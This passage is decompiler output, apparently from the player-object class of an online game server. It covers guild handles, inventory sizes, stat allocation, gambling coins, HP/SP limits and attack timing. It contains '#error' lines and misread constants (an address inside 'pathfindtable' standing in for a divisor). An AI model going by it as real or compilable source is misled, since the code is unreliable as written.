*(_BYTE *)(v2 + 4) = 0; *(_BYTE *)(v2 + 5) = 0; return result; } //----- (0052DBC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoardreset(int this) { int v1; // eax@1 *(_WORD *)(this + 68566) = -1; *(_WORD *)(this + 68560) = -1; *(_DWORD *)(this + 68568) = -1; *(_DWORD *)(this + 68562) = -1; v1 = *(_DWORD *)this; *(_DWORD *)(this + 68579) = 0; *(_DWORD *)(this + 68572) = 0; return (*(int (__stdcall **)(_DWORD))(v1 + 808))(0); } //----- (0052DC00) -------------------------------------------------------- #error "52DC00: undefined or illegal type '#1265' (funcsize=26)" //----- (0052DC50) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_close(void *this, __int16 menutype) { void *result; // eax@1 result = this; *((_WORD *)result + 34880) &= ~(1 << menutype); return result; } //----- (0052DC70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_canmenuopen(int this, unsigned __int16 menu) { return DuplicatedMenuControl::dmc_CanMenuOpen((DuplicatedMenuControl *)(this + 69760), menu); } //----- (0052DC80) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_Set(void *this, __int16 menutype) { void *result; // eax@1 result = this; *((_WORD *)result + 34880) |= 1 << menutype; return result; } //----- (0052DCA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_TotalSkillEmpower(void *this) { void *v1; // esi@1 unsigned __int8 v2; // al@1 int v3; // esi@1 int result; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1236))(); v3 = *((_DWORD *)v1 + 964); if ( v2 > 0x96u ) result = *(_DWORD *)(*(_DWORD *)(v3 + 67672) + 124); else result = *(_DWORD *)(*(_DWORD *)(v3 + 4 * v2 + 67672) + 124); return result; } //----- (0052DCE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_skillempowerclear(int this) { CharaterSkillList::csl_EmpowerClear((CharaterSkillList *)(this + 68496)); } //----- (0052DCF0) -------------------------------------------------------- #error "52DCF0: undefined or illegal type '#734' (funcsize=21)" //----- (0052DD30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreMoney(int this, int cen, int a3) { int result; // eax@1 result = cen; *(_DWORD *)(this + 32221) = cen; *(_DWORD *)(this + 32225) = a3; return result; } //----- (0052DD50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreFame(int this, int fame) { int result; // eax@1 result = fame; *(_DWORD *)(this + 32217) = fame; return result; } //----- (0052DD60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_lastpickuptime(int this) { return *(_DWORD *)(this + 139640); } //----- (0052DD70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyRecharge(void *this, int recoverate) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 int v6; // eax@1 int v7; // eax@1 int v8; // edx@1 int v9; // eax@1 int v10; // edx@1 int result; // eax@3 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1384))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); ShineObjectClass::ShinePlayer::sp_HPChangeCheck( v2, (unsigned int)((unsigned int)(recoverate * v6) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6, 1, (int)"ShineObjectClass::ShinePlayer::so_ply_PartyRecharge"); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); v8 = *(_DWORD *)v2; *(_DWORD *)((char *)v2 + 32209) += (unsigned int)((unsigned int)(recoverate * v7) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; v9 = (*(int (__thiscall **)(void *))(v8 + 1264))(v2); v10 = *(_DWORD *)v2; *(_DWORD *)((char *)v2 + 32213) += (unsigned int)((unsigned int)(recoverate * v9) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( *(_DWORD *)((char *)v2 + 32209) > (unsigned int)(*(int (__thiscall **)(void *))(v10 + 1252))(v2) ) *(_DWORD *)((char *)v2 + 32209) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2); result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1256))(v2); if ( *(_DWORD *)((char *)v2 + 32213) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1256))(v2); *(_DWORD *)((char *)v2 + 32213) = result; } return result; } //----- (0052DE80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharacterTitle(void *this) { return (int)((char *)this + 140400); } //----- (0052DE90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetStatDistStr(void *this) { return (int)((char *)this + 32250); } //----- (0052DEA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetInventoryLockList(void *this) { return (int)((char *)this + 57880); } //----- (0052DEB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetGender(int this) { return *(_BYTE *)(this + 32268) >> 7; } //----- (0052DEC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildNo(int this, int gldnum) { int result; // eax@1 result = gldnum; *(_DWORD *)(this + 142044) = gldnum; return result; } //----- (0052DED0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuild(int this, int gld) { int result; // eax@1 result = gld; *(_DWORD *)(this + 142048) = gld; return result; } //----- (0052DEE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildStorageHandle(void *this) { return (int)((char *)this + 68484); } //----- (0052DEF0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildStorageHandle(int this, __int16 nGuildStorageHandle) { __int16 result; // ax@1 result = nGuildStorageHandle; *(_WORD *)(this + 68484) = nGuildStorageHandle; return result; } //----- (0052DF00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyRewardStorageHandle(void *this) { return (int)((char *)this + 68486); } //----- (0052DF10) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyRewardStorageHandle(int this, __int16 nGuildAcademyRewardStorageHandle) { __int16 result; // ax@1 result = nGuildAcademyRewardStorageHandle; *(_WORD *)(this + 68486) = nGuildAcademyRewardStorageHandle; return result; } //----- (0052DF20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestDiary(void *this) { return (int)((char *)this + 66176); } //----- (0052DF30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_TreasureChestLocationManager(void *this) { return (int)((char *)this + 139627); } //----- (0052DF40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_InventorySize(int this) { unsigned __int8 v1; // al@1 int result; // eax@2 v1 = *(_BYTE *)(this + 142698); if ( v1 <= 4u ) result = 24 * (v1 + 2); else result = 144; return result; } //----- (0052DF60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StorageSize(int this) { unsigned __int8 v1; // al@1 int result; // eax@2 v1 = *(_BYTE *)(this + 142699); if ( v1 <= 4u ) result = 36 * (v1 + 2); else result = 216; return result; } //----- (0052DF80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StreetBoothSlot(int this) { int result; // eax@1 result = *(_DWORD *)(this + 139604) + *(_BYTE *)(this + 142700); if ( result > 20 ) result = 20; return result; } //----- (0052DFA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedEffectContainer(void *this) { return (int)((char *)this + 142688); } //----- (0052DFB0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShinePlayer::smo_BattleKillScore() { return 150; } //----- (0052DFC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AllCastCancel(int this) { int v1; // esi@1 v1 = this; if ( *(_WORD *)(this + 143140) >= 0 ) ShineObjectClass::ShinePlayer::sp_HorseFree(this); if ( *(_BYTE *)(v1 + 23408) ) ShineObjectClass::ShinePlayer::sp_MiniHouseFree((void *)v1); ShineObjectClass::ShinePlayer::sp_FlagCaptureFree((void *)v1); ShineObjectClass::ShinePlayer::sp_CastingBarFree((void *)v1); } //----- (0052E000) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatStr(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatStr *result; // eax@2 v1 = this; if ( *(_BYTE *)(*(int (**)(void))(*(_DWORD *)this + 1056))() <= (unsigned __int8)shineparam.scp_param.MaxFreeStat ) result = shineparam.scp_param.freestatStr[*(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1)]; else result = *shineparam.scp_param.freestatStr; return result; } //----- (0052E040) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatInt(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatInt *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1056))() + 3) <= (unsigned __int8)shineparam.scp_param.MaxFreeStat ) result = shineparam.scp_param.freestatInt[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 3)]; else result = *shineparam.scp_param.freestatInt; return result; } //----- (0052E080) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatDex(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatDex *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1056))() + 2) <= (unsigned __int8)shineparam.scp_param.MaxFreeStat ) result = shineparam.scp_param.freestatDex[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 2)]; else result = *shineparam.scp_param.freestatDex; return result; } //----- (0052E0C0) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatCon(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatCon *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1056))() + 1) <= (unsigned __int8)shineparam.scp_param.MaxFreeStat ) result = shineparam.scp_param.freestatCon[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 1)]; else result = *shineparam.scp_param.freestatCon; return result; } //----- (0052E100) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatMen(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatMen *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1056))() + 4) <= (unsigned __int8)shineparam.scp_param.MaxFreeStat ) result = shineparam.scp_param.freestatMen[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 4)]; else result = *shineparam.scp_param.freestatMen; return result; } //----- (0052E140) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedStatPlus(int this) { return *(_BYTE *)(this + 142713); } //----- (0052E150) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_RemoveWhen(void *this) { void *v1; // esi@1 char v2; // al@3 unsigned int result; // eax@4 v1 = this; if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1152))(v1) == 3 || (v2 = *((_BYTE *)v1 + 23352), v2 & 1) ) result = 0; else result = ((unsigned int)(unsigned __int8)~v2 >> 1) & 1; return result; } //----- (0052E190) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IncNGet_PKCount(int this) { int result; // eax@1 result = *(_DWORD *)(this + 32257) + 1; *(_DWORD *)(this + 32257) = result; return result; } //----- (0052E1A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HideMyIdentity(int this) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(this + 31920)); } //----- (0052E1B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_GMChatColor(int this) { return *(_BYTE *)(this + 32280); } //----- (0052E1C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademy(int this, int gld) { int result; // eax@1 result = gld; *(_DWORD *)(this + 142060) = gld; return result; } //----- (0052E1D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyNo(int this) { return *(_DWORD *)(this + 142056); } //----- (0052E1E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyNo(int this, int gldnum) { int result; // eax@1 result = gldnum; *(_DWORD *)(this + 142056) = gldnum; return result; } //----- (0052E1F0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isAcademyGuildMember(int this) { return *(_DWORD *)(this + 142056) != 0; } //----- (0052E200) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isIAmGuildAcademyMaster(void *this) { void *v1; // esi@1 v1 = this; return !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 2136))() && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2072))(v1); } //----- (0052E230) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundReq(int this) { return (*(_BYTE *)(this + 23353) & 0x20) == 32; } //----- (0052E240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundReq(int this) { *(_BYTE *)(this + 23353) |= 0x20u; } //----- (0052E250) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundCancelReq(int this) { return (*(_BYTE *)(this + 23353) & 0x40) == 64; } //----- (0052E260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundCancelReq(int this) { *(_BYTE *)(this + 23353) |= 0x40u; } //----- (0052E270) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetPossibleNewConnect(int this) { return *(_BYTE *)(this + 143312); } //----- (0052E280) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDisposition(int this) { return *(_BYTE *)(*(_DWORD *)(this + 32160) + 171); } //----- (0052E290) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetPKModeOn(int this) { return *(_BYTE *)(this + 139626); } //----- (0052E2A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetPKModeOn(int this, char src) { char result; // al@1 result = src; *(_BYTE *)(this + 139626) = src; return result; } //----- (0052E2B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_FreeStat_Get_DecreaseNum(int this, int Stat, unsigned __int8 a3) { unsigned __int8 v3; // dl@1 char result; // al@1 unsigned __int8 v5; // dl@3 unsigned __int8 v6; // dl@5 unsigned __int8 v7; // dl@7 unsigned __int8 v8; // cl@9 v3 = *(_BYTE *)(this + 32250); result = 0; if ( (unsigned __int8)Stat < v3 ) result = v3 - Stat; v5 = *(_BYTE *)(this + 32251); if ( BYTE1(Stat) < v5 ) result += v5 - BYTE1(Stat); v6 = *(_BYTE *)(this + 32252); if ( BYTE2(Stat) < v6 ) result += v6 - BYTE2(Stat); v7 = *(_BYTE *)(this + 32253); if ( BYTE3(Stat) < v7 ) result += v7 - BYTE3(Stat); v8 = *(_BYTE *)(this + 32254); if ( a3 < v8 ) result += v8 - a3; return result; } //----- (0052E310) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_IsLock(int this) { return *(_BYTE *)(this + 23688); } //----- (0052E320) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_Lock(int this) { *(_BYTE *)(this + 23688) = 1; } //----- (0052E330) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_UnLock(int this) { *(_BYTE *)(this + 23688) = 0; } //----- (0052E340) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_SetPrevMapName(int this, int MapName, int a3, int a4) { int v4; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // [sp+0h] [bp-4h]@1 v6 = (unsigned int)&v6 ^ __security_cookie; v4 = this; *(_DWORD *)(this + 143833) = MapName; *(_DWORD *)(this + 143841) = a4; v5 = (unsigned int)&v6 ^ v6; *(_DWORD *)(v4 + 143837) = a3; __security_check_cookie(v5); } //----- (0052E380) -------------------------------------------------------- __int64 __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CurrentCoin(int this) { return *(_QWORD *)(this + 143856); } //----- (0052E390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Gamble_StoreCoin(int this, int NewCoin, int a3) { int result; // eax@1 result = NewCoin; *(_DWORD *)(this + 143856) = NewCoin; *(_DWORD *)(this + 143860) = a3; return result; } //----- (0052E3B0) -------------------------------------------------------- __int64 __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CurrentExchangedCoin(int this) { return *(_QWORD *)(this + 143848); } //----- (0052E3C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Gamble_StoreExchangedCoin(int this, int NewExchangedCoin, int a3) { int result; // eax@1 result = NewExchangedCoin; *(_DWORD *)(this + 143848) = NewExchangedCoin; *(_DWORD *)(this + 143852) = a3; return result; } //----- (0052E3E0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ReactionNpcHandle(int this) { __int16 result; // ax@1 result = *(_WORD *)(this + 68608); *(_WORD *)(this + 143872) = result; return result; } //----- (0052E3F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetDamageAbsorb(int this) { return *(_DWORD *)(this + 143884); } //----- (0052E400) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetDamageAbsorb(int this, int nDamageAbsorb) { int result; // eax@1 result = nDamageAbsorb; *(_DWORD *)(this + 143884) = nDamageAbsorb; return result; } //----- (0052E410) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetRemainingDamageAbsorb(int this) { return *(_DWORD *)(this + 143888); } //----- (0052E420) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetRemainingDamageAbsorb(int this, int nRemainingDamageAbsorb) { int result; // eax@1 result = nRemainingDamageAbsorb; *(_DWORD *)(this + 143888) = nRemainingDamageAbsorb; return result; } //----- (0052E430) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetProtactionFromGameType(int this) { return *(_DWORD *)(this + 143892); } //----- (0052E440) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameType(int this, unsigned __int8 nType) { int result; // eax@1 result = nType; *(_DWORD *)(this + 143892) = nType; return result; } //----- (0052E450) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsRebirth(int this) { return *(_BYTE *)(this + 143900); } //----- (0052E460) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_HealRate(int this) { return *(_DWORD *)(this + 143904); } //----- (0052E470) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_setIsRebirth(int this, char bRebirthState) { char result; // al@1 result = bRebirthState; *(_BYTE *)(this + 143900) = bRebirthState; return result; } //----- (0052E480) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_setHealRate(int this, int nHealRate) { int result; // eax@1 result = nHealRate; *(_DWORD *)(this + 143904) = nHealRate; return result; } //----- (0052E490) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_PacketBufferFlush(void *this) { void *v1; // esi@1 int v2; // eax@1 char v3; // bl@1 int v4; // eax@1 char v5; // al@1 bool v6; // bl@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 760))(v1); v3 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v2 + 8))(v2, *((_DWORD *)v1 + 5923)); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); v5 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 8))(v4, *((_DWORD *)v1 + 5923)); v6 = v3 && v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"); return v6; } //----- (0052E560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreCharData(void *this, unsigned __int16 handle, char *fromwhere) { void *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v6; // eax@4 unsigned __int8 v7; // al@4 void *chartitle; // [sp+0h] [bp-4h]@1 chartitle = this; v3 = this; v4 = *(_DWORD *)((char *)this + 98); if ( !v4 || (v5 = *(_DWORD *)(v4 + 12)) == 0 || !*(_BYTE *)(v5 + 99) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)this + 1052))(this); LOBYTE(chartitle) = *(_BYTE *)(v6 + 560); BYTE1(chartitle) = *(_BYTE *)(v6 + 561); HIWORD(chartitle) = *(_WORD *)(v6 + 562); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1152))(v3); BriefInformationCharacter::bic_InitBriefInfo( (BriefInformationCharacter *)((char *)v3 + 31920), handle, v7, (ZoneCharData *)((char *)v3 + 32167), (CHARTITLE_BRIEFINFO *)&chartitle, fromwhere); ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(v3); *((_BYTE *)v3 + 23352) |= 4u; } } //----- (0052E5F0) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, int charmode, ZoneCharData *chardata, CHARTITLE_BRIEFINFO *chartitle, char *fromwhere) { char *v6; // esi@4 PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *v7; // edx@4 if ( charmode == 2 || charmode == 1 || !charmode ) { v6 = (char *)&this->bic_BriefInfo->coord; *(_DWORD *)v6 = chardata->toclient.basedata.logininfo.currentcoord.xy.x; *((_DWORD *)v6 + 1) = chardata->toclient.basedata.logininfo.currentcoord.xy.y; v6[8] = chardata->toclient.basedata.logininfo.currentcoord.dir; v7 = this->bic_BriefInfo; *(_QWORD *)&v7->charid.n4_name[0] = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[0]; *(_QWORD *)&v7->charid.n4_name[8] = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[8]; *(_DWORD *)&this->bic_BriefInfo->shapedata.notcamp.shape._bf0 = *(_DWORD *)&chardata->toclient.shape._bf0; this->bic_BriefInfo->emoticon.emoticonid = -1; this->bic_BriefInfo->emoticon.emoticonframe = 0; this->bic_BriefInfo->chrclass = ((unsigned __int8)chardata->toclient.shape._bf0 >> 2) & 0x1F; *(_DWORD *)&this->bic_BriefInfo->chartitle.Type = *(_DWORD *)&chartitle->Type; this->bic_BriefInfo->polymorph = -1; this->bic_BriefInfo->handle = handle; } } //----- (0052E6B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_FillBriefInformation(int this, int array) { return PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(array, *(_DWORD *)(this + 32160)); } //----- (0052E6D0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxHP(void *this) { void *v1; // esi@1 unsigned int result; // eax@3 v1 = this; ShineObjectClass::ShinePlayer::sp_MaxHP(this); if ( *((_DWORD *)v1 + 895) < 1 ) *((_DWORD *)v1 + 895) = 1; result = *((_DWORD *)v1 + 895); if ( *(_DWORD *)((char *)v1 + 32209) > result ) *(_DWORD *)((char *)v1 + 32209) = result; return result; } //----- (0052E710) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxSP(void *this) { void *v1; // esi@1 unsigned int result; // eax@3 v1 = this; ShineObjectClass::ShinePlayer::sp_MaxSP(this); if ( *((_DWORD *)v1 + 896) < 1 ) *((_DWORD *)v1 + 896) = 1; result = *((_DWORD *)v1 + 896); if ( *(_DWORD *)((char *)v1 + 32213) > result ) *(_DWORD *)((char *)v1 + 32213) = result; return result; } //----- (0052E750) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MaxSP(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // eax@1 int v5; // edx@1 int v6; // edi@1 int v7; // edi@1 int v8; // ecx@1 int v9; // eax@1 int v10; // eax@2 MobDataBox::MobDataBoxIndex *v11; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1176))(); v3 = (*(int (__thiscall **)(int, void *, char *))(*(_DWORD *)v2 + 44))(v2, v1, (char *)v1 + 3860); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1068))(v1); v5 = *(_DWORD *)v1; *((_DWORD *)v1 + 896) = ((signed int)((unsigned __int64)(v3 * (*(_DWORD *)(v4 + 2448) + *((_WORD *)v1 + 71352) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * (*(_DWORD *)(v4 + 2448) + *((_WORD *)v1 + 71352) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v6 = (*(int (__thiscall **)(void *))(v5 + 1068))(v1); v7 = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1068))(v1) + 1872) + *(_DWORD *)(v6 + 2256); v8 = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1068))(v1) + 336); v9 = *(_DWORD *)v1; *((_DWORD *)v1 + 896) += v8 + v7; if ( *(_WORD *)((*(int (__thiscall **)(void *))(v9 + 1068))(v1) + 3092) != -1 ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1068))(v1); v11 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v10 + 3092)); if ( v11 ) *((_DWORD *)v1 + 895) = v11->data->MaxHP; } return *((_DWORD *)v1 + 896); } //----- (0052E840) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime(int this) { int v1; // esi@1 ShineObjectClass::ShinePlayer::TimeScheduler *v2; // edi@1 int v3; // eax@1 int v4; // ebx@3 int v5; // edx@3 v1 = this; v2 = (ShineObjectClass::ShinePlayer::TimeScheduler *)(this + 143172); *(_BYTE *)(this + 139468) |= 4u; v3 = *(_DWORD *)(this + 143184); if ( v3 != 2 && v3 != 3 ) { v4 = (*(int (__stdcall **)(int, _DWORD))(**(_DWORD **)(this + 7164) + 8))(this + 7164, *(_WORD *)(this + 139464)); v5 = (unsigned int)((unsigned int)(*(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1068))(v1) + 2440) * v4) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( v5 < 0 ) v5 = 0; ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( v2, (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, v5); } } //----- (0052E8C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime_AfterSkill(int this, int animation_millisec) { int v2; // eax@1 char v3; // bl@1 int v4; // ecx@1 int v5; // edx@1 int v6; // ebx@4 v2 = this; v3 = *(_BYTE *)(this + 139468) | 4; v4 = this + 143172; *(_BYTE *)(v2 + 139468) = v3; v5 = *(_DWORD *)(v4 + 12); if ( v5 != 2 && v5 != 3 && v3 & 1 ) { v6 = *(_DWORD *)(v2 + 264); *(_DWORD *)(v2 + 23356) = 0; *(_DWORD *)(v2 + 23360) = 0; if ( !v6 ) ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)v4, 